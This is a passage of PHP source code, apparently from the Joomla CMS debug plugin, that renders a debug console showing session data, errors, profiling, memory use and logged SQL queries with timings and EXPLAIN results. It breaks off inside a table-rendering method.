	private $sqlShowProfiles = array();

	/**
	 * Holds all SHOW PROFILE FOR QUERY n, indexed by n-1.
	 *
	 * @var    array
	 * @since  3.1.2
	 */
	private $sqlShowProfileEach = array();

	/**
	 * Holds all EXPLAIN EXTENDED for all queries.
	 *
	 * @var    array
	 * @since  3.1.2
	 */
	private $explains = array();

	/**
	 * Holds total amount of executed queries.
	 *
	 * @var    int
	 * @since  3.2
	 */
	private $totalQueries = 0;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.3
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.8.0
	 */
	protected $db;

	/**
	 * Container for callback functions to be triggered when rendering the console.
	 *
	 * @var    callable[]
	 * @since  3.7.0
	 */
	private static $displayCallbacks = array();

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   1.5
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Log the deprecated API.
		if ($this->params->get('log-deprecated', 0))
		{
			JLog::addLogger(array('text_file' => 'deprecated.php'), JLog::ALL, array('deprecated'));
		}

		// Log everything (except deprecated APIs, these are logged separately with the option above).
		if ($this->params->get('log-everything', 0))
		{
			JLog::addLogger(array('text_file' => 'everything.php'), JLog::ALL, array('deprecated', 'databasequery'), true);
		}

		// Get the application if not done by JPlugin. This may happen during upgrades from Joomla 2.5.
		if (!$this->app)
		{
			$this->app = JFactory::getApplication();
		}

		// Get the db if not done by JPlugin. This may happen during upgrades from Joomla 2.5.
		if (!$this->db)
		{
			$this->db = JFactory::getDbo();
		}

		$this->debugLang = $this->app->get('debug_lang');

		// Skip the plugin if debug is off
		if ($this->debugLang == '0' && $this->app->get('debug') == '0')
		{
			return;
		}

		// Only if debugging or language debug is enabled.
		if (JDEBUG || $this->debugLang)
		{
			JFactory::getConfig()->set('gzip', 0);
			ob_start();
			ob_implicit_flush(false);
		}

		$this->linkFormat = ini_get('xdebug.file_link_format');

		if ($this->params->get('logs', 1))
		{
			$priority = 0;

			foreach ($this->params->get('log_priorities', array()) as $p)
			{
				$const = 'JLog::' . strtoupper($p);

				if (!defined($const))
				{
					continue;
				}

				$priority |= constant($const);
			}

			// Split into an array at any character other than alphabet, numbers, _, ., or -
			$categories = preg_split('/[^\w.-]+/', $this->params->get('log_categories', ''), -1, PREG_SPLIT_NO_EMPTY);
			$mode       = $this->params->get('log_category_mode', 0);

			JLog::addLogger(array('logger' => 'callback', 'callback' => array($this, 'logger')), $priority, $categories, $mode);
		}

		// Prepare disconnect handler for SQL profiling.
		$db = $this->db;
		$db->addDisconnectHandler(array($this, 'mysqlDisconnectHandler'));

		// Log deprecated class aliases
		foreach (JLoader::getDeprecatedAliases() as $deprecation)
		{
			JLog::add(
				sprintf(
					'%1$s has been aliased to %2$s and the former class name is deprecated. The alias will be removed in %3$s.',
					$deprecation['old'],
					$deprecation['new'],
					$deprecation['version']
				),
				JLog::WARNING,
				'deprecated'
			);
		}
	}

	/**
	 * Add the CSS for debug.
	 * We can't do this in the constructor because stuff breaks.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onAfterDispatch()
	{
		// Only if debugging or language debug is enabled.
		if ((JDEBUG || $this->debugLang) && $this->isAuthorisedDisplayDebug())
		{
			JHtml::_('stylesheet', 'cms/debug.css', array('version' => 'auto', 'relative' => true));
		}

		// Disable asset media version if needed.
		if (JDEBUG && (int) $this->params->get('refresh_assets', 1) === 0)
		{
			$this->app->getDocument()->setMediaVersion(null);
		}

		// Only if debugging is enabled for SQL query popovers.
		if (JDEBUG && $this->isAuthorisedDisplayDebug())
		{
			JHtml::_('bootstrap.tooltip');
			JHtml::_('bootstrap.popover', '.hasPopover', array('placement' => 'top'));
		}
	}

	/**
	 * Show the debug info.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onAfterRespond()
	{
		// Do not render if debugging or language debug is not enabled.
		if (!JDEBUG && !$this->debugLang)
		{
			return;
		}

		// User has to be authorised to see the debug information.
		if (!$this->isAuthorisedDisplayDebug())
		{
			return;
		}

		// Only render for HTML output.
		if (JFactory::getDocument()->getType() !== 'html')
		{
			return;
		}

		// Capture output.
		$contents = ob_get_contents();

		if ($contents)
		{
			ob_end_clean();
		}

		// No debug for Safari and Chrome redirection.
		if (strpos($contents, '<html><head><meta http-equiv="refresh" content="0;') === 0
			&& strpos(strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''), 'webkit') !== false)
		{
			echo $contents;

			return;
		}

		// Load language.
		$this->loadLanguage();

		$html = array();

		// Some "mousewheel protecting" JS.
		$html[] = "<script>function toggleContainer(name)
		{
			var e = document.getElementById(name);// MooTools might not be available ;)
			e.style.display = e.style.display === 'none' ? 'block' : 'none';
		}</script>";

		$html[] = '<div id="system-debug" class="profiler">';

		$html[] = '<h2>' . JText::_('PLG_DEBUG_TITLE') . '</h2>';

		if (JDEBUG)
		{
			if (JError::getErrors())
			{
				$html[] = $this->display('errors');
			}

			if ($this->params->get('session', 1))
			{
				$html[] = $this->display('session');
			}

			if ($this->params->get('profile', 1))
			{
				$html[] = $this->display('profile_information');
			}

			if ($this->params->get('memory', 1))
			{
				$html[] = $this->display('memory_usage');
			}

			if ($this->params->get('queries', 1))
			{
				$html[] = $this->display('queries');
			}

			if (!empty($this->logEntries) && $this->params->get('logs', 1))
			{
				$html[] = $this->display('logs');
			}
		}

		if ($this->debugLang)
		{
			if ($this->params->get('language_errorfiles', 1))
			{
				$languageErrors = JFactory::getLanguage()->getErrorFiles();
				$html[]         = $this->display('language_files_in_error', $languageErrors);
			}

			if ($this->params->get('language_files', 1))
			{
				$html[] = $this->display('language_files_loaded');
			}

			if ($this->params->get('language_strings', 1))
			{
				$html[] = $this->display('untranslated_strings');
			}
		}

		foreach (self::$displayCallbacks as $name => $callable)
		{
			$html[] = $this->displayCallback($name, $callable);
		}

		$html[] = '</div>';

		echo str_replace('</body>', implode('', $html) . '</body>', $contents);
	}

	/**
	 * Add a display callback to be rendered with the debug console.
	 *
	 * @param   string    $name      The name of the callable, this is used to generate the section title.
	 * @param   callable  $callable  The callback function to be added.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 * @throws  InvalidArgumentException
	 */
	public static function addDisplayCallback($name, $callable)
	{
		// TODO - When PHP 5.4 is the minimum the parameter should be typehinted "callable" and this check removed
		if (!is_callable($callable))
		{
			throw new InvalidArgumentException('A valid callback function must be given.');
		}

		self::$displayCallbacks[$name] = $callable;

		return true;
	}

	/**
	 * Remove a registered display callback
	 *
	 * @param   string  $name  The name of the callable.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public static function removeDisplayCallback($name)
	{
		unset(self::$displayCallbacks[$name]);

		return true;
	}

	/**
	 * Method to check if the current user is allowed to see the debug information or not.
	 *
	 * @return  boolean  True if access is allowed.
	 *
	 * @since   3.0
	 */
	private function isAuthorisedDisplayDebug()
	{
		static $result = null;

		if ($result !== null)
		{
			return $result;
		}

		// If the user is not allowed to view the output then end here.
		$filterGroups = (array) $this->params->get('filter_groups', array());

		if (!empty($filterGroups))
		{
			$userGroups = JFactory::getUser()->get('groups');

			if (!array_intersect($filterGroups, $userGroups))
			{
				$result = false;

				return false;
			}
		}

		$result = true;

		return true;
	}

	/**
	 * General display method.
	 *
	 * @param   string  $item    The item to display.
	 * @param   array   $errors  Errors occurred during execution.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function display($item, array $errors = array())
	{
		$title = JText::_('PLG_DEBUG_' . strtoupper($item));

		$status = '';

		if (count($errors))
		{
			$status = ' dbg-error';
		}

		$fncName = 'display' . ucfirst(str_replace('_', '', $item));

		if (!method_exists($this, $fncName))
		{
			return __METHOD__ . ' -- Unknown method: ' . $fncName . '<br />';
		}

		$html = array();

		$js = "toggleContainer('dbg_container_" . $item . "');";

		$class = 'dbg-header' . $status;

		$html[] = '<div class="' . $class . '" onclick="' . $js . '"><a href="javascript:void(0);"><h3>' . $title . '</h3></a></div>';

		// @todo set with js.. ?
		$style = ' style="display: none;"';

		$html[] = '<div ' . $style . ' class="dbg-container" id="dbg_container_' . $item . '">';
		$html[] = $this->$fncName();
		$html[] = '</div>';

		return implode('', $html);
	}

	/**
	 * Display method for callback functions.
	 *
	 * @param   string    $name      The name of the callable.
	 * @param   callable  $callable  The callable function.
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	protected function displayCallback($name, $callable)
	{
		$title = JText::_('PLG_DEBUG_' . strtoupper($name));

		$html = array();

		$js = "toggleContainer('dbg_container_" . $name . "');";

		$class = 'dbg-header';

		$html[] = '<div class="' . $class . '" onclick="' . $js . '"><a href="javascript:void(0);"><h3>' . $title . '</h3></a></div>';

		// @todo set with js.. ?
		$style = ' style="display: none;"';

		$html[] = '<div ' . $style . ' class="dbg-container" id="dbg_container_' . $name . '">';
		$html[] = call_user_func($callable);
		$html[] = '</div>';

		return implode('', $html);
	}

	/**
	 * Display session information.
	 *
	 * Called recursively.
	 *
	 * @param   string   $key      A session key.
	 * @param   mixed    $session  The session array, initially null.
	 * @param   integer  $id       Used to identify the DIV for the JavaScript toggling code.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displaySession($key = '', $session = null, $id = 0)
	{
		if (!$session)
		{
			$session = JFactory::getSession()->getData();
		}

		$html = array();
		static $id;

		if (!is_array($session))
		{
			$html[] = $key . '<pre>' . $this->prettyPrintJSON($session) . '</pre>' . PHP_EOL;
		}
		else
		{
			foreach ($session as $sKey => $entries)
			{
				$display = true;

				if (is_array($entries) && $entries)
				{
					$display = false;
				}

				if (is_object($entries))
				{
					$o = ArrayHelper::fromObject($entries);

					if ($o)
					{
						$entries = $o;
						$display = false;
					}
				}

				if (!$display)
				{
					$js = "toggleContainer('dbg_container_session" . $id . '_' . $sKey . "');";

					$html[] = '<div class="dbg-header" onclick="' . $js . '"><a href="javascript:void(0);"><h3>' . $sKey . '</h3></a></div>';

					// @todo set with js.. ?
					$style = ' style="display: none;"';

					$html[] = '<div ' . $style . ' class="dbg-container" id="dbg_container_session' . $id . '_' . $sKey . '">';
					$id++;

					// Recurse...
					$this->displaySession($sKey, $entries, $id);

					$html[] = '</div>';

					continue;
				}

				if (is_array($entries))
				{
					$entries = implode($entries);
				}

				if (is_string($entries))
				{
					$html[] = $sKey . '<pre>' . $this->prettyPrintJSON($entries) . '</pre>' . PHP_EOL;
				}
			}
		}

		return implode('', $html);
	}

	/**
	 * Display errors.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayErrors()
	{
		$html = array();

		$html[] = '<ol>';

		while ($error = JError::getError(true))
		{
			$col = (E_WARNING == $error->get('level')) ? 'red' : 'orange';

			$html[] = '<li>';
			$html[] = '<b style="color: ' . $col . '">' . $error->getMessage() . '</b><br />';

			$info = $error->get('info');

			if ($info)
			{
				$html[] = '<pre>' . print_r($info, true) . '</pre><br />';
			}

			$html[] = $this->renderBacktrace($error);
			$html[] = '</li>';
		}

		$html[] = '</ol>';

		return implode('', $html);
	}

	/**
	 * Display profile information.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayProfileInformation()
	{
		$html = array();

		$htmlMarks = array();

		$totalTime = 0;
		$totalMem  = 0;
		$marks     = array();
		$bars      = array();
		$barsMem   = array();

		foreach (JProfiler::getInstance('Application')->getMarks() as $mark)
		{
			$totalTime += $mark->time;
			$totalMem  += (float) $mark->memory;
			$htmlMark  = sprintf(
				JText::_('PLG_DEBUG_TIME') . ': <span class="label label-time">%.2f&nbsp;ms</span> / <span class="label label-default">%.2f&nbsp;ms</span>'
				. ' ' . JText::_('PLG_DEBUG_MEMORY') . ': <span class="label label-memory">%0.3f MB</span> / <span class="label label-default">%0.2f MB</span>'
				. ' %s: %s',
				$mark->time,
				$mark->totalTime,
				$mark->memory,
				$mark->totalMemory,
				$mark->prefix,
				$mark->label
			);

			$marks[] = (object) array(
				'time'   => $mark->time,
				'memory' => $mark->memory,
				'html'   => $htmlMark,
				'tip'    => $mark->label,
			);
		}

		$avgTime = $totalTime / max(count($marks), 1);
		$avgMem  = $totalMem / max(count($marks), 1);

		foreach ($marks as $mark)
		{
			if ($mark->time > $avgTime * 1.5)
			{
				$barClass   = 'bar-danger';
				$labelClass = 'label-important label-danger';
			}
			elseif ($mark->time < $avgTime / 1.5)
			{
				$barClass   = 'bar-success';
				$labelClass = 'label-success';
			}
			else
			{
				$barClass   = 'bar-warning';
				$labelClass = 'label-warning';
			}

			if ($mark->memory > $avgMem * 1.5)
			{
				$barClassMem   = 'bar-danger';
				$labelClassMem = 'label-important label-danger';
			}
			elseif ($mark->memory < $avgMem / 1.5)
			{
				$barClassMem   = 'bar-success';
				$labelClassMem = 'label-success';
			}
			else
			{
				$barClassMem   = 'bar-warning';
				$labelClassMem = 'label-warning';
			}

			$barClass    .= " progress-$barClass";
			$barClassMem .= " progress-$barClassMem";

			$bars[] = (object) array(
				'width' => round($mark->time / ($totalTime / 100), 4),
				'class' => $barClass,
				'tip'   => $mark->tip . ' ' . round($mark->time, 2) . ' ms',
			);

			$barsMem[] = (object) array(
				'width' => round((float) $mark->memory / ($totalMem / 100), 4),
				'class' => $barClassMem,
				'tip'   => $mark->tip . ' ' . round($mark->memory, 3) . '  MB',
			);

			$htmlMarks[] = '<div>' . str_replace('label-time', $labelClass, str_replace('label-memory', $labelClassMem, $mark->html)) . '</div>';
		}

		$html[] = '<h4>' . JText::_('PLG_DEBUG_TIME') . '</h4>';
		$html[] = $this->renderBars($bars, 'profile');
		$html[] = '<h4>' . JText::_('PLG_DEBUG_MEMORY') . '</h4>';
		$html[] = $this->renderBars($barsMem, 'profile');

		$html[] = '<div class="dbg-profile-list">' . implode('', $htmlMarks) . '</div>';

		$db = $this->db;

		//  fix  for support custom shutdown function via register_shutdown_function().
		$db->disconnect();

		$log = $db->getLog();

		if ($log)
		{
			$timings = $db->getTimings();

			if ($timings)
			{
				$totalQueryTime = 0.0;
				$lastStart      = null;

				foreach ($timings as $k => $v)
				{
					if (!($k % 2))
					{
						$lastStart = $v;
					}
					else
					{
						$totalQueryTime += $v - $lastStart;
					}
				}

				$totalQueryTime *= 1000;

				if ($totalQueryTime > ($totalTime * 0.25))
				{
					$labelClass = 'label-important';
				}
				elseif ($totalQueryTime < ($totalTime * 0.15))
				{
					$labelClass = 'label-success';
				}
				else
				{
					$labelClass = 'label-warning';
				}

				$html[] = '<br /><div>' . JText::sprintf(
						'PLG_DEBUG_QUERIES_TIME',
						sprintf('<span class="label ' . $labelClass . '">%.2f&nbsp;ms</span>', $totalQueryTime)
					) . '</div>';

				if ($this->params->get('log-executed-sql', 0))
				{
					$this->writeToFile();
				}
			}
		}

		return implode('', $html);
	}

	/**
	 * Display memory usage.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayMemoryUsage()
	{
		$bytes = memory_get_usage();

		return '<span class="label label-default">' . JHtml::_('number.bytes', $bytes) . '</span>'
			. ' (<span class="label label-default">'
			. number_format($bytes, 0, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR'))
			. ' '
			. JText::_('PLG_DEBUG_BYTES')
			. '</span>)';
	}

	/**
	 * Display logged queries.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	protected function displayQueries()
	{
		$db  = $this->db;
		$log = $db->getLog();

		if (!$log)
		{
			return null;
		}

		$timings    = $db->getTimings();
		$callStacks = $db->getCallStacks();

		$db->setDebug(false);

		$selectQueryTypeTicker = array();
		$otherQueryTypeTicker  = array();

		$timing  = array();
		$maxtime = 0;

		if (isset($timings[0]))
		{
			$startTime         = $timings[0];
			$endTime           = $timings[count($timings) - 1];
			$totalBargraphTime = $endTime - $startTime;

			if ($totalBargraphTime > 0)
			{
				foreach ($log as $id => $query)
				{
					if (isset($timings[$id * 2 + 1]))
					{
						// Compute the query time: $timing[$k] = array( queryTime, timeBetweenQueries ).
						$timing[$id] = array(
							($timings[$id * 2 + 1] - $timings[$id * 2]) * 1000,
							$id > 0 ? ($timings[$id * 2] - $timings[$id * 2 - 1]) * 1000 : 0,
						);
						$maxtime     = max($maxtime, $timing[$id]['0']);
					}
				}
			}
		}
		else
		{
			$startTime         = null;
			$totalBargraphTime = 1;
		}

		$bars           = array();
		$info           = array();
		$totalQueryTime = 0;
		$duplicates     = array();

		foreach ($log as $id => $query)
		{
			$did = md5($query);

			if (!isset($duplicates[$did]))
			{
				$duplicates[$did] = array();
			}

			$duplicates[$did][] = $id;

			if ($timings && isset($timings[$id * 2 + 1]))
			{
				// Compute the query time.
				$queryTime      = ($timings[$id * 2 + 1] - $timings[$id * 2]) * 1000;
				$totalQueryTime += $queryTime;

				// Run an EXPLAIN EXTENDED query on the SQL query if possible.
				$hasWarnings          = false;
				$hasWarningsInProfile = false;

				if (isset($this->explains[$id]))
				{
					$explain = $this->tableToHtml($this->explains[$id], $hasWarnings);
				}
				else
				{
					$explain = JText::sprintf('PLG_DEBUG_QUERY_EXPLAIN_NOT_POSSIBLE', htmlspecialchars($query));
				}

				// Run a SHOW PROFILE query.
				$profile = '';

				if (isset($this->sqlShowProfileEach[$id]) && $db->getServerType() === 'mysql')
				{
					$profileTable = $this->sqlShowProfileEach[$id];
					$profile      = $this->tableToHtml($profileTable, $hasWarningsInProfile);
				}

				// How heavy should the string length count: 0 - 1.
				$ratio     = 0.5;
				$timeScore = $queryTime / ((strlen($query) + 1) * $ratio) * 200;

				// Determine color of bargraph depending on query speed and presence of warnings in EXPLAIN.
				if ($timeScore > 10)
				{
					$barClass   = 'bar-danger';
					$labelClass = 'label-important';
				}
				elseif ($hasWarnings || $timeScore > 5)
				{
					$barClass   = 'bar-warning';
					$labelClass = 'label-warning';
				}
				else
				{
					$barClass   = 'bar-success';
					$labelClass = 'label-success';
				}

				// Computes bargraph as follows: Position begin and end of the bar relatively to whole execution time.
				// TODO: $prevBar is not used anywhere. Remove?
				$prevBar = $id && isset($bars[$id - 1]) ? $bars[$id - 1] : 0;

				$barPre   = round($timing[$id][1] / ($totalBargraphTime * 10), 4);
				$barWidth = round($timing[$id][0] / ($totalBargraphTime * 10), 4);
				$minWidth = 0.3;

				if ($barWidth < $minWidth)
				{
					$barPre -= ($minWidth - $barWidth);

					if ($barPre < 0)
					{
						$minWidth += $barPre;
						$barPre   = 0;
					}

					$barWidth = $minWidth;
				}

				$bars[$id] = (object) array(
					'class' => $barClass,
					'width' => $barWidth,
					'pre'   => $barPre,
					'tip'   => sprintf('%.2f ms', $queryTime),
				);
				$info[$id] = (object) array(
					'class'       => $labelClass,
					'explain'     => $explain,
					'profile'     => $profile,
					'hasWarnings' => $hasWarnings,
				);
			}
		}

		// Remove single queries from $duplicates.
		$total_duplicates = 0;

		foreach ($duplicates as $did => $dups)
		{
			if (count($dups) < 2)
			{
				unset($duplicates[$did]);
			}
			else
			{
				$total_duplicates += count($dups);
			}
		}

		// Fix first bar width.
		$minWidth = 0.3;

		if ($bars[0]->width < $minWidth && isset($bars[1]))
		{
			$bars[1]->pre -= ($minWidth - $bars[0]->width);

			if ($bars[1]->pre < 0)
			{
				$minWidth     += $bars[1]->pre;
				$bars[1]->pre = 0;
			}

			$bars[0]->width = $minWidth;
		}

		$memoryUsageNow = memory_get_usage();
		$list           = array();

		foreach ($log as $id => $query)
		{
			// Start query type ticker additions.
			$fromStart  = stripos($query, 'from');
			$whereStart = stripos($query, 'where', $fromStart);

			if ($whereStart === false)
			{
				$whereStart = stripos($query, 'order by', $fromStart);
			}

			if ($whereStart === false)
			{
				$whereStart = strlen($query) - 1;
			}

			$fromString = substr($query, 0, $whereStart);
			$fromString = str_replace(array("\t", "\n"), ' ', $fromString);
			$fromString = trim($fromString);

			// Initialise the select/other query type counts the first time.
			if (!isset($selectQueryTypeTicker[$fromString]))
			{
				$selectQueryTypeTicker[$fromString] = 0;
			}

			if (!isset($otherQueryTypeTicker[$fromString]))
			{
				$otherQueryTypeTicker[$fromString] = 0;
			}

			// Increment the count.
			if (stripos($query, 'select') === 0)
			{
				$selectQueryTypeTicker[$fromString]++;
				unset($otherQueryTypeTicker[$fromString]);
			}
			else
			{
				$otherQueryTypeTicker[$fromString]++;
				unset($selectQueryTypeTicker[$fromString]);
			}

			$text = $this->highlightQuery($query);

			if ($timings && isset($timings[$id * 2 + 1]))
			{
				// Compute the query time.
				$queryTime = ($timings[$id * 2 + 1] - $timings[$id * 2]) * 1000;

				// Timing
				// Formats the output for the query time with EXPLAIN query results as tooltip:
				$htmlTiming = '<div style="margin: 0 0 5px;"><span class="dbg-query-time">';
				$htmlTiming .= JText::sprintf(
					'PLG_DEBUG_QUERY_TIME',
					sprintf(
						'<span class="label %s">%.2f&nbsp;ms</span>',
						$info[$id]->class,
						$timing[$id]['0']
					)
				);

				if ($timing[$id]['1'])
				{
					$htmlTiming .= ' ' . JText::sprintf(
							'PLG_DEBUG_QUERY_AFTER_LAST',
							sprintf('<span class="label label-default">%.2f&nbsp;ms</span>', $timing[$id]['1'])
						);
				}

				$htmlTiming .= '</span>';

				if (isset($callStacks[$id][0]['memory']))
				{
					$memoryUsed        = $callStacks[$id][0]['memory'][1] - $callStacks[$id][0]['memory'][0];
					$memoryBeforeQuery = $callStacks[$id][0]['memory'][0];

					// Determine colour of query memory usage.
					if ($memoryUsed > 0.1 * $memoryUsageNow)
					{
						$labelClass = 'label-important';
					}
					elseif ($memoryUsed > 0.05 * $memoryUsageNow)
					{
						$labelClass = 'label-warning';
					}
					else
					{
						$labelClass = 'label-success';
					}

					$htmlTiming .= ' ' . '<span class="dbg-query-memory">'
						. JText::sprintf(
							'PLG_DEBUG_MEMORY_USED_FOR_QUERY',
							sprintf('<span class="label ' . $labelClass . '">%.3f&nbsp;MB</span>', $memoryUsed / 1048576),
							sprintf('<span class="label label-default">%.3f&nbsp;MB</span>', $memoryBeforeQuery / 1048576)
						)
						. '</span>';

					if ($callStacks[$id][0]['memory'][2] !== null)
					{
						// Determine colour of number or results.
						$resultsReturned = $callStacks[$id][0]['memory'][2];

						if ($resultsReturned > 3000)
						{
							$labelClass = 'label-important';
						}
						elseif ($resultsReturned > 1000)
						{
							$labelClass = 'label-warning';
						}
						elseif ($resultsReturned == 0)
						{
							$labelClass = '';
						}
						else
						{
							$labelClass = 'label-success';
						}

						$htmlResultsReturned = '<span class="label ' . $labelClass . '">' . (int) $resultsReturned . '</span>';
						$htmlTiming          .= ' <span class="dbg-query-rowsnumber">'
							. JText::sprintf('PLG_DEBUG_ROWS_RETURNED_BY_QUERY', $htmlResultsReturned) . '</span>';
					}
				}

				$htmlTiming .= '</div>';

				// Bar.
				$htmlBar = $this->renderBars($bars, 'query', $id);

				// Profile query.
				$title = JText::_('PLG_DEBUG_PROFILE');

				if (!$info[$id]->profile)
				{
					$title = '<span class="dbg-noprofile">' . $title . '</span>';
				}

				$htmlProfile = $info[$id]->profile ?: JText::_('PLG_DEBUG_NO_PROFILE');

				$htmlAccordions = JHtml::_(
					'bootstrap.startAccordion', 'dbg_query_' . $id, array(
						'active' => $info[$id]->hasWarnings ? ('dbg_query_explain_' . $id) : '',
					)
				);

				$htmlAccordions .= JHtml::_('bootstrap.addSlide', 'dbg_query_' . $id, JText::_('PLG_DEBUG_EXPLAIN'), 'dbg_query_explain_' . $id)
					. $info[$id]->explain
					. JHtml::_('bootstrap.endSlide');

				$htmlAccordions .= JHtml::_('bootstrap.addSlide', 'dbg_query_' . $id, $title, 'dbg_query_profile_' . $id)
					. $htmlProfile
					. JHtml::_('bootstrap.endSlide');

				// Call stack and back trace.
				if (isset($callStacks[$id]))
				{
					$htmlAccordions .= JHtml::_('bootstrap.addSlide', 'dbg_query_' . $id, JText::_('PLG_DEBUG_CALL_STACK'), 'dbg_query_callstack_' . $id)
						. $this->renderCallStack($callStacks[$id])
						. JHtml::_('bootstrap.endSlide');
				}

				$htmlAccordions .= JHtml::_('bootstrap.endAccordion');

				$did = md5($query);

				if (isset($duplicates[$did]))
				{
					$dups = array();

					foreach ($duplicates[$did] as $dup)
					{
						if ($dup != $id)
						{
							$dups[] = '<a class="alert-link" href="#dbg-query-' . ($dup + 1) . '">#' . ($dup + 1) . '</a>';
						}
					}

					$htmlQuery = '<div class="alert alert-error">' . JText::_('PLG_DEBUG_QUERY_DUPLICATES') . ': ' . implode('&nbsp; ', $dups) . '</div>'
						. '<pre class="alert" title="' . htmlspecialchars(JText::_('PLG_DEBUG_QUERY_DUPLICATES_FOUND'), ENT_COMPAT, 'UTF-8') . '">' . $text . '</pre>';
				}
				else
				{
					$htmlQuery = '<pre>' . $text . '</pre>';
				}

				$list[] = '<a name="dbg-query-' . ($id + 1) . '"></a>'
					. $htmlTiming
					. $htmlBar
					. $htmlQuery
					. $htmlAccordions;
			}
			else
			{
				$list[] = '<pre>' . $text . '</pre>';
			}
		}

		$totalTime = 0;

		foreach (JProfiler::getInstance('Application')->getMarks() as $mark)
		{
			$totalTime += $mark->time;
		}

		if ($totalQueryTime > ($totalTime * 0.25))
		{
			$labelClass = 'label-important';
		}
		elseif ($totalQueryTime < ($totalTime * 0.15))
		{
			$labelClass = 'label-success';
		}
		else
		{
			$labelClass = 'label-warning';
		}

		if ($this->totalQueries === 0)
		{
			$this->totalQueries = $db->getCount();
		}

		$html = array();

		$html[] = '<h4>' . JText::sprintf('PLG_DEBUG_QUERIES_LOGGED', $this->totalQueries)
			. sprintf(' <span class="label ' . $labelClass . '">%.2f&nbsp;ms</span>', $totalQueryTime) . '</h4><br />';

		if ($total_duplicates)
		{
			$html[] = '<div class="alert alert-error">'
				. '<h4>' . JText::sprintf('PLG_DEBUG_QUERY_DUPLICATES_TOTAL_NUMBER', $total_duplicates) . '</h4>';

			foreach ($duplicates as $dups)
			{
				$links = array();

				foreach ($dups as $dup)
				{
					$links[] = '<a class="alert-link" href="#dbg-query-' . ($dup + 1) . '">#' . ($dup + 1) . '</a>';
				}

				$html[] = '<div>' . JText::sprintf('PLG_DEBUG_QUERY_DUPLICATES_NUMBER', count($links)) . ': ' . implode('&nbsp; ', $links) . '</div>';
			}

			$html[] = '</div>';
		}

		$html[] = '<ol><li>' . implode('<hr /></li><li>', $list) . '<hr /></li></ol>';

		if (!$this->params->get('query_types', 1))
		{
			return implode('', $html);
		}

		// Get the totals for the query types.
		$totalSelectQueryTypes = count($selectQueryTypeTicker);
		$totalOtherQueryTypes  = count($otherQueryTypeTicker);
		$totalQueryTypes       = $totalSelectQueryTypes + $totalOtherQueryTypes;

		$html[] = '<h4>' . JText::sprintf('PLG_DEBUG_QUERY_TYPES_LOGGED', $totalQueryTypes) . '</h4>';

		if ($totalSelectQueryTypes)
		{
			$html[] = '<h5>' . JText::_('PLG_DEBUG_SELECT_QUERIES') . '</h5>';

			arsort($selectQueryTypeTicker);

			$list = array();

			foreach ($selectQueryTypeTicker as $query => $occurrences)
			{
				$list[] = '<pre>'
					. JText::sprintf('PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES', $this->highlightQuery($query), $occurrences)
					. '</pre>';
			}

			$html[] = '<ol><li>' . implode('</li><li>', $list) . '</li></ol>';
		}

		if ($totalOtherQueryTypes)
		{
			$html[] = '<h5>' . JText::_('PLG_DEBUG_OTHER_QUERIES') . '</h5>';

			arsort($otherQueryTypeTicker);

			$list = array();

			foreach ($otherQueryTypeTicker as $query => $occurrences)
			{
				$list[] = '<pre>'
					. JText::sprintf('PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES', $this->highlightQuery($query), $occurrences)
					. '</pre>';
			}

			$html[] = '<ol><li>' . implode('</li><li>', $list) . '</li></ol>';
		}

		return implode('', $html);
	}

	/**
	 * Render the bars.
	 *
	 * @param   array    &$bars  Array of bar data
	 * @param   string   $class  Optional class for items
	 * @param   integer  $id     Id if the bar to highlight
	 *
	 * @return  string
	 *
	 * @since   3.1.2
	 */
	protected function renderBars(&$bars, $class = '', $id = null)
	{
		$html = array();

		foreach ($bars as $i => $bar)
		{
			if (isset($bar->pre) && $bar->pre)
			{
				$html[] = '<div class="dbg-bar-spacer" style="width:' . $bar->pre . '%;"></div>';
			}

			$barClass = trim('bar dbg-bar progress-bar ' . (isset($bar->class) ? $bar->class : ''));

			if ($id !== null && $i == $id)
			{
				$barClass .= ' dbg-bar-active';
			}

			$tip = empty($bar->tip) ? '' : ' title="' . htmlspecialchars($bar->tip, ENT_COMPAT, 'UTF-8') . '"';

			$html[] = '<a class="bar dbg-bar ' . $barClass . '"' . $tip . ' style="width: '
				. $bar->width . '%;" href="#dbg-' . $class . '-' . ($i + 1) . '"></a>';
		}

		return '<div class="progress dbg-bars dbg-bars-' . $class . '">' . implode('', $html) . '</div>';
	}

	/**
	 * Render an HTML table based on a multi-dimensional array.
	 *
	 * @param   array    $table         An array of tabular data.
	 * @param   boolean  &$hasWarnings  Changes value to true if warnings are displayed, otherwise untouched
	 *
	 * @return  string
	 *
	 * @since   3.1.2
	 */
	protected function tableToHtml($table, &$hasWarnings)
	{
		if (!$table)
		{
			return null;
		}

		$html = array();

		$html[] = '<table class="table table-striped dbg-query-table">';
		$html[] = '<thead>';
		$html[] = '<tr>';

		foreach (array_keys($table[0]) as $k)
		{
			$html[] = '<th>' . htmlspecialchars($k) . '</th>';
		}

		$html[]    = '</tr>';
		$html[]    = '</thead>';
		$html[]    = '<tbody>';
		$durations = array();

		foreach ($table as $tr)
		{
			if (isset($tr['Duration']))
			{
				$durations[] = $tr['Duration'];
			}
		}

		rsort($durations, SORT_NUMERIC);

		foreach ($table as $tr)
		{
			$html[] = '<tr>';

			foreach ($tr as $k => $td)
			{
				if ($td === null)
				{
					// Display null's as 'NULL'.
